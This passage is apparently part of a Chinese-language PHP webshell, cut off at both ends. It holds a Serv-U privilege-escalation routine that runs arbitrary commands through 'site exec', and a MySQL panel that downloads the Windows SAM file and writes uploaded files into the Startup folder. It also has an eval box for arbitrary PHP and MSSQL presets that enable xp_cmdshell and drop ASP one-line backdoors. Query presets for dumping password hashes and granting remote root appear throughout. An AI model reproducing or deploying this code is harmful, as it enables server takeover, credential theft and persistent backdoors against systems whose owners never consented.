&quot;-Maintenance=None\r\n&quot;.&quot;-PasswordType=Regular\r\n&quot;.&quot;-Ratios=None\r\n&quot;.&quot; Access=&quot;.$_POST['part'].&quot;\|RWAMELCDP\r\n&quot;; $deldomain = &quot;-DELETEDOMAIN\r\n&quot;.&quot;-IP=0.0.0.0\r\n&quot;.&quot; PortNo=21\r\n&quot;; $sock = @fsockopen(&quot;127.0.0.1&quot;, $_POST[&quot;SUPort&quot;], &amp;$errno, &amp;$errstr, 10); $recvbuf = @fgets($sock, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = &quot;USER &quot;.$_POST[&quot;SUUser&quot;].&quot;\r\n&quot;; @fputs($sock, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($sock, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = &quot;PASS &quot;.$_POST[&quot;SUPass&quot;].&quot;\r\n&quot;; @fputs($sock, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($sock, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = &quot;SITE MAINTENANCE\r\n&quot;; @fputs($sock, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($sock, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = $domain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($sock, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = $adduser; @fputs($sock, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($sock, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; if(!empty($_POST['SUCommand'])) { $exp = @fsockopen(&quot;127.0.0.1&quot;, &quot;21&quot;, &amp;$errno, &amp;$errstr, 10); $recvbuf = @fgets($exp, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = &quot;USER &quot;.$_POST['user'].&quot;\r\n&quot;; @fputs($exp, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($exp, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = &quot;PASS &quot;.$_POST['password'].&quot;\r\n&quot;; @fputs($exp, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($exp, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = &quot;site exec &quot;.$_POST[&quot;SUCommand&quot;].&quot;\r\n&quot;; @fputs($exp, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: site exec &lt;font color=#006600&gt;&quot;.$_POST[&quot;SUCommand&quot;].&quot;&lt;/font&gt; &lt;br&gt;&quot;; $recvbuf = @fgets($exp, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; $sendbuf = $deldomain; @fputs($sock, $sendbuf, strlen($sendbuf)); echo &quot;发送数据包: $sendbuf &lt;br&gt;&quot;; $recvbuf = @fgets($sock, 1024); echo &quot;返回数据包: $recvbuf &lt;br&gt;&quot;; @fclose($exp); } @fclose($sock); echo '&lt;/div&gt;'; } } function Mysql_n() { $MSG_BOX = ''; $mhost = 'localhost'; $muser = 'root'; $mport = '3306'; $mpass = ''; $mdata = 'mysql'; $msql = 'select version();'; if(isset($_POST['mhost']) &amp;&amp; isset($_POST['muser'])) { $mhost = $_POST['mhost']; $muser = $_POST['muser']; $mpass = $_POST['mpass']; $mdata = $_POST['mdata']; $mport = $_POST['mport']; if($conn = mysql_connect($mhost.':'.$mport,$muser,$mpass)) @mysql_select_db($mdata); else $MSG_BOX = '连接MYSQL失败'; } $downfile = 'c:/windows/repair/sam'; if(!empty($_POST['downfile'])) { $downfile = File_Str($_POST['downfile']); $binpath = bin2hex($downfile); $query = 'select load_file(0x'.$binpath.')'; if($result = @mysql_query($query,$conn)) { $k = 0; $downcode = ''; while($row = @mysql_fetch_array($result)){$downcode .= $row[$k];$k++;} $filedown = basename($downfile); if(!$filedown) $filedown = 'spider.tmp'; $array = explode('.', $filedown); $arrayend = array_pop($array); header('Content-type: application/x-'.$arrayend); header('Content-Disposition: attachment; filename='.$filedown); header('Content-Length: '.strlen($downcode)); echo $downcode; exit; } else $MSG_BOX = '下载文件失败'; } $o = isset($_GET['o']) ? $_GET['o'] : ''; Root_CSS(); print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;nform&quot; id=&quot;nform&quot; action=&quot;?s=n&amp;o={$o}&quot; enctype=&quot;multipart/form-data&quot;&gt;
&lt;center&gt;&lt;div class=&quot;actall&quot;&gt;&lt;a href=&quot;?s=n&quot;&gt;[MYSQL执行语句]&lt;/a&gt; 
&lt;a href=&quot;?s=n&amp;o=u&quot;&gt;[MYSQL上传文件]&lt;/a&gt; 
&lt;a href=&quot;?s=n&amp;o=d&quot;&gt;[MYSQL下载文件]&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;
地址 &lt;input type=&quot;text&quot; name=&quot;mhost&quot; value=&quot;{$mhost}&quot; style=&quot;width:110px&quot;&gt;
端口 &lt;input type=&quot;text&quot; name=&quot;mport&quot; value=&quot;{$mport}&quot; style=&quot;width:110px&quot;&gt;
用户 &lt;input type=&quot;text&quot; name=&quot;muser&quot; value=&quot;{$muser}&quot; style=&quot;width:110px&quot;&gt;
密码 &lt;input type=&quot;text&quot; name=&quot;mpass&quot; value=&quot;{$mpass}&quot; style=&quot;width:110px&quot;&gt;
库名 &lt;input type=&quot;text&quot; name=&quot;mdata&quot; value=&quot;{$mdata}&quot; style=&quot;width:110px&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;actall&quot; style=&quot;height:220px;&quot;&gt;
END;
if($o == 'u') { $uppath = 'C:/Documents and Settings/All Users/「开始」菜单/程序/启动/exp.vbs'; if(!empty($_POST['uppath'])) { $uppath = $_POST['uppath']; $query = 'Create TABLE a (cmd text NOT NULL);'; if(@mysql_query($query,$conn)) { if($tmpcode = File_Read($_FILES['upfile']['tmp_name'])){$filecode = bin2hex(File_Read($tmpcode));} else{$tmp = File_Str(dirname(__FILE__)).'/upfile.tmp';if(File_Up($_FILES['upfile']['tmp_name'],$tmp)){$filecode = bin2hex(File_Read($tmp));@unlink($tmp);}} $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x'.$filecode.',CHAR));'; if(@mysql_query($query,$conn)) { $query = 'SELECT cmd FROM a INTO DUMPFILE \''.$uppath.'\';'; $MSG_BOX = @mysql_query($query,$conn) ? '上传文件成功' : '上传文件失败'; } else $MSG_BOX = '插入临时表失败'; @mysql_query('Drop TABLE IF EXISTS a;',$conn); } else $MSG_BOX = '创建临时表失败'; } print&lt;&lt;&lt;END
&lt;br&gt;&lt;br&gt;上传路径 &lt;input type=&quot;text&quot; name=&quot;uppath&quot; value=&quot;{$uppath}&quot; style=&quot;width:500px&quot;&gt;
&lt;br&gt;&lt;br&gt;选择文件 &lt;input type=&quot;file&quot; name=&quot;upfile&quot; style=&quot;width:500px;height:22px;&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;actall&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;上传&quot; style=&quot;width:80px;&quot;&gt;
END;
} elseif($o == 'd') { print&lt;&lt;&lt;END
&lt;br&gt;&lt;br&gt;&lt;br&gt;下载文件 &lt;input type=&quot;text&quot; name=&quot;downfile&quot; value=&quot;{$downfile}&quot; style=&quot;width:500px&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;actall&quot;&gt;&lt;input type=&quot;submit&quot; value=&quot;下载&quot; style=&quot;width:80px;&quot;&gt;
END;
} else { if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = '执行SQL语句成功&lt;br&gt;'; $k = 0; while($row = @mysql_fetch_array($result)){$MSG_BOX .= $row[$k];$k++;} } else $MSG_BOX .= mysql_error(); } print&lt;&lt;&lt;END
&lt;script language=&quot;javascript&quot;&gt;
function nFull(i){
	Str = new Array(15);
        Str[0] = &quot;select command  Or input manual&quot;;
	Str[1] = &quot;select version();&quot;;
        Str[2] = &quot;select @@character_set_database;&quot;;
        Str[3] = &quot;show databases;&quot;;
        Str[4] = &quot;show tables;&quot;;
        Str[5] = &quot;show columns from table_name;&quot;;
        Str[6] = &quot;select @@hostname;&quot;;
        Str[7] = &quot;select @@version_compile_os;&quot;;
        Str[8] = &quot;select @@basedir;&quot;;
        Str[9] = &quot;select @@datadir;&quot;;
        Str[10] = &quot;describe table_name;&quot;;
        Str[11] = &quot;select User,Password from mysql.user;&quot;;
	Str[12] = &quot;select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C);&quot;;
	Str[13] = &quot;select 'testtest' into outfile '/var/www/html/test.txt' from mysql.user;&quot;;
	Str[14] = &quot;GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;&quot;;
	nform.msql.value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;textarea name=&quot;msql&quot; style=&quot;width:700px;height:200px;&quot;&gt;{$msql}&lt;/textarea&gt;&lt;/div&gt;
&lt;div class=&quot;actall&quot;&gt;
&lt;select onchange=&quot;return nFull(options[selectedIndex].value)&quot;&gt;
        &lt;option value=&quot;0&quot; selected&gt;命令&lt;/option&gt;
	&lt;option value=&quot;1&quot;&gt;显示版本&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;显示字符集&lt;/option&gt;
        &lt;option value=&quot;3&quot;&gt;显示数据库&lt;/option&gt;
        &lt;option value=&quot;4&quot;&gt;显示表名&lt;/option&gt;
        &lt;option value=&quot;5&quot;&gt;显示字段&lt;/option&gt;
        &lt;option value=&quot;6&quot;&gt;显示计算机名&lt;/option&gt;
        &lt;option value=&quot;7&quot;&gt;系统版本&lt;/option&gt;
        &lt;option value=&quot;8&quot;&gt;mysql路径&lt;/option&gt;
        &lt;option value=&quot;9&quot;&gt;数据库路径&lt;/option&gt;
        &lt;option value=&quot;10&quot;&gt;describe&lt;/option&gt;
        &lt;option value=&quot;11&quot;&gt;显示root密码&lt;/option&gt;
	&lt;option value=&quot;12&quot;&gt;导入文件&lt;/option&gt;
	&lt;option value=&quot;13&quot;&gt;导出文件&lt;/option&gt;
	&lt;option value=&quot;14&quot;&gt;开启外连&lt;/option&gt;
&lt;/select&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;
END;
if(!empty($_POST['msql'])) { $msql = $_POST['msql']; if($result = @mysql_query($msql,$conn)) { $MSG_BOX = 'execute sql statement success&lt;br&gt;'; $row=mysql_fetch_row($result); echo '&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;2&quot;&gt;'.&quot;&lt;tr&gt;&quot;; for ($i=0; $i&lt;mysql_num_fields($result); $i++) { echo '&lt;td&gt;&lt;b&gt;'.mysql_field_name($result, $i).&quot;&lt;/b&gt;&lt;/td&gt;&quot;; } echo &quot;&lt;/tr&gt;&quot;; mysql_data_seek($result, 0); while ($row=mysql_fetch_row($result)) { echo &quot;&lt;tr&gt;&quot;; for ($i=0; $i&lt;mysql_num_fields($result); $i++ ) { echo '&lt;td&gt;'.&quot;$row[$i]&quot;.'&lt;/td&gt;'; } echo &quot;&lt;/tr&gt;&quot;; } echo &quot;&lt;/table&gt;&quot;; mysql_free_result($result); } else $MSG_BOX .= mysql_error(); } } echo '&lt;br&gt;'.$MSG_BOX.'&lt;/div&gt;&lt;/center&gt;&lt;/form&gt;'; return true; } function phpcode() { print&lt;&lt;&lt;END
&lt;html&gt;
&lt;br /&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;h5&gt;用户自定义PHP代码:&lt;h5&gt;&lt;br&gt;&lt;/div&gt;
&lt;form action=&quot;?s=x&quot; method=&quot;POST&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;textarea name=&quot;phpcode&quot; rows=&quot;20&quot; cols=&quot;80&quot;&gt;print_r(apache_get_modules());/*get apache modules which have openned*/&lt;/textarea&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/div&gt;&lt;/form&gt;
&lt;/html&gt;
END;
$phpcode = $_POST['phpcode']; $phpcode = trim($phpcode); if($phpcode){ if (!preg_match('#&lt;\?#si',$phpcode)){ $phpcode = &quot;&lt;?php\n\n{$phpcode}\n\n?&gt;&quot;; } eval(&quot;?&quot;.&quot;&gt;$phpcode&lt;?&quot;); echo '&lt;br&gt;&lt;br&gt;'; } return false; } function otherdb(){ $db = isset($_GET['db']) ? $_GET['db'] : ''; print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;dbform&quot; id=&quot;dbform&quot; action=&quot;?s=w&amp;db={$db}&quot; enctype=&quot;multipart/form-data&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;&lt;a href=&quot;?s=w&quot;&gt; &amp;nbsp psotgresql &amp;nbsp&lt;/a&gt; 
&lt;a href=&quot;?s=w&amp;db=ms&quot;&gt; &amp;nbsp mssql &amp;nbsp&lt;/a&gt; 
&lt;a href=&quot;?s=w&amp;db=ora&quot;&gt; &amp;nbsp oracle &amp;nbsp&lt;/a&gt;
&lt;a href=&quot;?s=w&amp;db=ifx&quot;&gt; &amp;nbsp informix &amp;nbsp&lt;/a&gt;
&lt;a href=&quot;?s=w&amp;db=fb&quot;&gt; &amp;nbsp  firebird &amp;nbsp&lt;/a&gt;
&lt;a href=&quot;?s=w&amp;db=db2&quot;&gt;&amp;nbsp db2 &amp;nbsp&lt;/a&gt;&lt;/div&gt;&lt;/form&gt;
END;
if ($db==&quot;ms&quot;){ $mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost'; $msuser = isset($_POST['msuser']) ? $_POST['msuser'] : 'sa'; $mspass = isset($_POST['mspass']) ? $_POST['mspass'] : 'sa123'; $msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master'; $msaction = isset($_POST['action']) ? $_POST['action'] : ''; $msquery = isset($_POST['mssql']) ? $_POST['mssql'] : ''; $msquery = stripslashes($msquery); print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;msform&quot; action=&quot;?s=w&amp;db=ms&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;主机:&lt;input type=&quot;text&quot; name=&quot;mshost&quot; value=&quot;{$mshost}&quot; style=&quot;width:100px&quot;&gt;
用户:&lt;input type=&quot;text&quot; name=&quot;msuser&quot; value=&quot;{$msuser}&quot; style=&quot;width:100px&quot;&gt;
密码:&lt;input type=&quot;text&quot; name=&quot;mspass&quot; value=&quot;{$mspass}&quot; style=&quot;width:100px&quot;&gt;
数据库名:&lt;input type=&quot;text&quot; name=&quot;msdbname&quot; value=&quot;{$msdbname}&quot; style=&quot;width:100px&quot;&gt;&lt;br&gt;&lt;br&gt;
&lt;script language=&quot;javascript&quot;&gt;
function msFull(i){
	Str = new Array(11);
        Str[0] = &quot;&quot;;
	Str[1] = &quot;select @@version;&quot;;
        Str[2] = &quot;select name from sysdatabases;&quot;;
        Str[3] = &quot;select name from sysobject where type='U';&quot;;
        Str[4] = &quot;select name from syscolumns where id=Object_Id('table_name');&quot;;
        Str[5] = &quot;Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');&quot;;
	Str[6] = &quot;Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');&quot;;
	Str[7] = &quot;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;&quot;;
        Str[8] = &quot;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;&quot;;
        Str[9] = &quot;exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;&quot;;
        Str[10] = &quot;Exec master.dbo.xp_cmdshell 'net user';&quot;;
        Str[11] = &quot;Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^&gt; &gt; c:\\\\1.asp';&quot;;
	Str[12] = &quot;sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''&lt;%execute(request(chr(35)))%&gt;''' &quot;;
        msform.mssql.value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;textarea name=&quot;mssql&quot; style=&quot;width:600px;height:200px;&quot;&gt;{$msquery}&lt;/textarea&gt;&lt;br&gt;
&lt;select onchange=&quot;return msFull(options[selectedIndex].value)&quot;&gt;
	&lt;option value=&quot;0&quot; selected&gt;command&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;version&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;databases&lt;/option&gt;
        &lt;option value=&quot;3&quot;&gt;tables&lt;/option&gt;
        &lt;option value=&quot;4&quot;&gt;columns&lt;/option&gt;
        &lt;option value=&quot;5&quot;&gt;add sp_oacreate&lt;/option&gt;
	&lt;option value=&quot;6&quot;&gt;add xp_cmdshell&lt;/option&gt;
	&lt;option value=&quot;7&quot;&gt;add xp_cmdshell(2005)&lt;/option&gt;
        &lt;option value=&quot;8&quot;&gt;add sp_oacreate(2005)&lt;/option&gt;
        &lt;option value=&quot;9&quot;&gt;open openrowset(2005)&lt;/option&gt;
        &lt;option value=&quot;10&quot;&gt;xp_cmdshell exec&lt;/option&gt;
        &lt;option value=&quot;10&quot;&gt;sp_oamethod exec&lt;/option&gt;
        &lt;option value=&quot;11&quot;&gt;sp_makewebtask&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;msquery&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/div&gt;&lt;/form&gt;
END;
if ($msaction == 'msquery'){ $msconn= mssql_connect ($mshost , $msuser, $mspass); mssql_select_db($msdbname,$msconn) or die(&quot;连接失败:&quot; .mssql_get_last_message()); $msresult = mssql_query($msquery) or die(mssql_get_last_message()); echo '&lt;font face=&quot;verdana&quot;&gt;'; echo '&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;2&quot;&gt;'; echo &quot;\n&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;mssql_num_fields($msresult); $i++) { echo '&lt;td bgcolor=&quot;#228B22&quot;&gt;&lt;b&gt;'. mssql_field_name($msresult, $i); echo &quot;&lt;/b&gt;&lt;/td&gt;\n&quot;; } echo &quot;&lt;/tr&gt;\n&quot;; mssql_data_seek($result, 0); while ($msrow=mssql_fetch_row($msresult)) { echo &quot;&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;mssql_num_fields($msresult); $i++ ) { echo '&lt;td bgcolor=&quot;#B8B8E8&quot;&gt;'; echo &quot;$msrow[$i]&quot;; echo '&lt;/td&gt;'; } echo &quot;&lt;/tr&gt;\n&quot;; } echo &quot;&lt;/table&gt;\n&quot;; echo &quot;&lt;/font&gt;&quot;; mssql_free_result($msresult); mssql_close(); } } elseif ($db==&quot;ora&quot;){ $orahost = isset($_POST['orahost']) ? $_POST['orahost'] : 'localhost'; $oraport = isset($_POST['oraport']) ? $_POST['oraport'] : '1521'; $orauser = isset($_POST['orauser']) ? $_POST['orauser'] : 'root'; $orapass = isset($_POST['orapass']) ? $_POST['orapass'] : '123456'; $orasid = isset($_POST['orasid']) ? $_POST['orasid'] : 'ORCL'; $oraaction = isset($_POST['action']) ? $_POST['action'] : ''; $oraquery = isset($_POST['orasql']) ? $_POST['orasql'] : ''; $oraquery = stripslashes($oraquery); print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;oraform&quot; action=&quot;?s=w&amp;db=ora&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;主机:&lt;input type=&quot;text&quot; name=&quot;orahost&quot; value=&quot;{$orahost}&quot; style=&quot;width:100px&quot;&gt;
端口:&lt;input type=&quot;text&quot; name=&quot;oraport&quot; value=&quot;{$oraport}&quot; style=&quot;width:50px&quot;&gt;
用户:&lt;input type=&quot;text&quot; name=&quot;orauser&quot; value=&quot;{$orauser}&quot; style=&quot;width:80px&quot;&gt;
密码:&lt;input type=&quot;text&quot; name=&quot;orapass&quot; value=&quot;{$orapass}&quot; style=&quot;width:100px&quot;&gt;
SID:&lt;input type=&quot;text&quot; name=&quot;orasid&quot; value=&quot;{$orasid}&quot; style=&quot;width:50px&quot;&gt;&lt;br&gt;&lt;br&gt;
&lt;script language=&quot;javascript&quot;&gt;
function oraFull(i){
	Str = new Array(8);
        Str[0] = &quot;&quot;; 
	Str[1] = &quot;select version();&quot;;
        Str[2] = &quot;show databases;&quot;;
        Str[3] = &quot;show tables from db_name;&quot;;
        Str[4] = &quot;show columns from table_name;&quot;;
        Str[5] = &quot;select user,password from mysql.user;&quot;;
	Str[6] = &quot;select load_file(0xxxxxxxxxxxxxxxxxxxxx);&quot;;
	Str[7] = &quot;select 0xxxxx from mysql.user into outfile 'c:\\\\inetpub\\\\wwwroot\\\\test.php'&quot;;
	oraform.orasql.value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;textarea name=&quot;orasql&quot; style=&quot;width:600px;height:200px;&quot;&gt;{$oraquery}&lt;/textarea&gt;&lt;br&gt;
&lt;select onchange=&quot;return oraFull(options[selectedIndex].value)&quot;&gt;
	&lt;option value=&quot;0&quot; selected&gt;command&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;version&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;databases&lt;/option&gt;
        &lt;option value=&quot;3&quot;&gt;tables&lt;/option&gt;
        &lt;option value=&quot;4&quot;&gt;columns&lt;/option&gt;
        &lt;option value=&quot;5&quot;&gt;hashes&lt;/option&gt;
	&lt;option value=&quot;6&quot;&gt;load_file&lt;/option&gt;
	&lt;option value=&quot;7&quot;&gt;into outfile&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;myquery&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/div&gt;&lt;/form&gt;
END;
if ($oraaction == 'oraquery'){ $oralink = OCILogon($orauser,$orapass,&quot;(DEscriptION=(ADDRESS=(PROTOCOL =TCP)(HOST=$orahost)(PORT = $oraport))(CONNECT_DATA =(SID=$orasid)))&quot;) or die(ocierror()); $oraresult=ociparse($oralink,$oraquery) or die(ocierror()); $orarow=oci_fetch_row($oraresult); echo '&lt;font face=&quot;verdana&quot;&gt;'; echo '&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;2&quot;&gt;'; echo &quot;\n&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;oci_num_fields($oraresult); $i++) { echo '&lt;td bgcolor=&quot;#228B22&quot;&gt;&lt;b&gt;'. oci_field_name($oraresult, $i); echo &quot;&lt;/b&gt;&lt;/td&gt;\n&quot;; } echo &quot;&lt;/tr&gt;\n&quot;; ociresult($oraresult, 0); while ($orarow=ora_fetch_row($oraresult)) { echo &quot;&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;ora_num_fields($result); $i++ ) { echo '&lt;td bgcolor=&quot;#B8B8E8&quot;&gt;'; echo &quot;$orarow[$i]&quot;; echo '&lt;/td&gt;'; } echo &quot;&lt;/tr&gt;\n&quot;; } echo &quot;&lt;/table&gt;\n&quot;; echo &quot;&lt;/font&gt;&quot;; oci_free_statement($oraresult); ocilogoff(); } } elseif ($db == &quot;ifx&quot;){ $ifxuser = isset($_POST['ifxuser']) ? $_POST['ifxuser'] : 'root'; $ifxpass = isset($_POST['ifxpass']) ? $_POST['ifxpass'] : '123456'; $ifxdbname = isset($_POST['ifxdbname']) ? $_POST['ifxdbname'] : 'ifxdb'; $ifxaction = isset($_POST['action']) ? $_POST['action'] : ''; $ifxquery = isset($_POST['ifxsql']) ? $_POST['ifxsql'] : ''; $ifxquery = stripslashes($ifxquery); print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;ifxform&quot; action=&quot;?s=w&amp;db=ifx&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;数据库名:&lt;input type=&quot;text&quot; name=&quot;ifxhost&quot; value=&quot;{$ifxdbname}&quot; style=&quot;width:100px&quot;&gt;
用户:&lt;input type=&quot;text&quot; name=&quot;ifxuser&quot; value=&quot;{$ifxuser}&quot; style=&quot;width:100px&quot;&gt;
密码:&lt;input type=&quot;text&quot; name=&quot;ifxpass&quot; value=&quot;{$ifxpass}&quot; style=&quot;width:100px&quot;&gt;&lt;br&gt;&lt;br&gt;
&lt;script language=&quot;javascript&quot;&gt;
function ifxFull(i){
	Str = new Array(11);
        Str[0] = &quot;&quot;;
	Str[1] = &quot;select dbservername from sysobjects;&quot;;
        Str[2] = &quot;select name from sysdatabases;&quot;;
        Str[3] = &quot;select tabname from systables;&quot;;
        Str[4] = &quot;select colname from syscolumns where tabid=n;&quot;;
        Str[5] = &quot;select username,usertype,password from sysusers;&quot;;
	ifxform.ifxsql.value = Str[i];
	return true;
}
&lt;/script&gt;
&lt;textarea name=&quot;ifxsql&quot; style=&quot;width:600px;height:200px;&quot;&gt;{$ifxquery}&lt;/textarea&gt;&lt;br&gt;
&lt;select onchange=&quot;return ifxFull(options[selectedIndex].value)&quot;&gt;
	&lt;option value=&quot;0&quot; selected&gt;command&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;dbservername&lt;/option&gt;
        &lt;option value=&quot;1&quot;&gt;databases&lt;/option&gt;
        &lt;option value=&quot;2&quot;&gt;tables&lt;/option&gt;
        &lt;option value=&quot;3&quot;&gt;columns&lt;/option&gt;
        &lt;option value=&quot;4&quot;&gt;hashes&lt;/option&gt;
&lt;/select&gt;
&lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;ifxquery&quot;&gt;
&lt;input class=&quot;bt&quot; type=&quot;submit&quot; value=&quot;执行&quot;&gt;&lt;/div&gt;&lt;/form&gt;
END;
if ($ifxaction == 'ifxquery'){ $ifxlink = ifx_connect($ifcdbname, $ifxuser, $ifxpass) or die(ifx_errormsg()); $ifxresult = ifx_query($ifxquery,$ifxlink) or die (ifx_errormsg()); $ifxrow=ifx_fetch_row($ifxresult); echo '&lt;font face=&quot;verdana&quot;&gt;'; echo '&lt;table border=&quot;1&quot; cellpadding=&quot;1&quot; cellspacing=&quot;2&quot;&gt;'; echo &quot;\n&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;ifx_num_fields($ifxresult); $i++) { echo '&lt;td bgcolor=&quot;#228B22&quot;&gt;&lt;b&gt;'. ifx_fieldproperties($ifxresult); echo &quot;&lt;/b&gt;&lt;/td&gt;\n&quot;; } echo &quot;&lt;/tr&gt;\n&quot;; mysql_data_seek($ifxresult, 0); while ($ifxrow=ifx_fetch_row($ifxresult)) { echo &quot;&lt;tr&gt;\n&quot;; for ($i=0; $i&lt;ifx_num_fields($ifxresult); $i++ ) { echo '&lt;td bgcolor=&quot;#B8B8E8&quot;&gt;'; echo &quot;$ifxrow[$i]&quot;; echo '&lt;/td&gt;'; } echo &quot;&lt;/tr&gt;\n&quot;; } echo &quot;&lt;/table&gt;\n&quot;; echo &quot;&lt;/font&gt;&quot;; ifx_free_result($ifxresult); ifx_close(); } } elseif ($db==&quot;db2&quot;){ $db2host = isset($_POST['db2host']) ? $_POST['db2host'] : 'localhost'; $db2port = isset($_POST['db2port']) ? $_POST['db2port'] : '50000'; $db2user = isset($_POST['db2user']) ? $_POST['db2user'] : 'root'; $db2pass = isset($_POST['db2pass']) ? $_POST['db2pass'] : '123456'; $db2dbname = isset($_POST['db2dbname']) ? $_POST['db2dbname'] : 'mysql'; $db2action = isset($_POST['action']) ? $_POST['action'] : ''; $db2query = isset($_POST['db2sql']) ? $_POST['db2sql'] : ''; $db2query = stripslashes($db2query); print&lt;&lt;&lt;END
&lt;form method=&quot;POST&quot; name=&quot;db2form&quot; action=&quot;?s=w&amp;db=db2&quot;&gt;
&lt;div class=&quot;actall&quot;&gt;主机:&lt;input type=&quot;text&quot; name=&quot;db2host&quot; value=&quot;{$db2host}&quot; style=&quot;width:100px&quot;&gt;
端口:&lt;input type=&quot;text&quot; name=&quot;db2port&quot; value=&quot;{$db2port}&quot; style=&quot;width:60px&quot;&gt;
用户:&lt;input type=&quot;text&quot; name=&quot;db2user&quot; value=&quot;{$db2user}&quot; style=&quot;width:100px&quot;&gt;
密码:&lt;input type=&quot;text&quot; name=&quot;db2pass&quot; value=&quot;{$db2pass}&quot; style=&quot;width:100px&quot;&gt;
数据库名:&lt;input type=&quot;text&quot; name=&quot;db2dbname&quot; value=&quot;{$db2dbname}&quot; style=&quot;width:100px&quot;&gt;&lt;br&gt;&lt;br&gt;
&lt;script language=&quot;javascript&quot;&gt;
function db2Full(i){
	Str = new Array(4);
        Str[0] = &quot;&quot;;
	Str[1] = &quot;select schemaname from syscat.schemata;&quot;;
        Str[2] = &quot;select name from sysibm.systables;&quot;;
        Str[3] = &quot;select colname from syscat.columns where tabname='table_name';&quot;;
        Str[4] = &quot;db2 get db cfg for db_name;&quot;;
	db2form.db2sql.value = Str[i];
